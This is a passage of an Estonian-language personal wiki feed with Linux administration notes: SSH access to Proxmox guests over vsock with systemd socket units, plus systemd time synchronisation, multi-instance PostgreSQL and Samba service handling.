root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04===&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=4251</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=4251"/>
		<updated>2026-06-20T14:13:36Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* bootshell */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
* systemd-timedated on dispetšer, mis vahendab seadistuse utiliiti timedatectl konkreetsete ntp serveritega (nt chrony, systemd-timesyncd)&lt;br /&gt;
* systemd-timedated ei tööta pidavalt, ta käivitub dbus juhtimisel&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timesyncd või chrony on ntp klient deemon, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
või 'systemctl enable|disable chrony', aga ehk on õigem opereerida timedatectl abil&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
Seos busctl osakonnaga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# busctl | grep time&lt;br /&gt;
org.freedesktop.timedate1        - -               -               (activatable) -                           -       -&lt;br /&gt;
&lt;br /&gt;
root@ns-pg-01:~# timedatectl status&lt;br /&gt;
               Local time: Wed 2026-06-03 01:26:34 EEST&lt;br /&gt;
           Universal time: Tue 2026-06-02 22:26:34 UTC&lt;br /&gt;
                 RTC time: Tue 2026-06-02 22:26:34&lt;br /&gt;
                Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
System clock synchronized: yes&lt;br /&gt;
              NTP service: active&lt;br /&gt;
          RTC in local TZ: no&lt;br /&gt;
&lt;br /&gt;
root@ns-pg-01:~# busctl | grep time&lt;br /&gt;
:1.34                         2449 systemd-timedat root            :1.34         systemd-timedated.service   -       -&lt;br /&gt;
org.freedesktop.timedate1     2449 systemd-timedat root            :1.34         systemd-timedated.service   -       -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
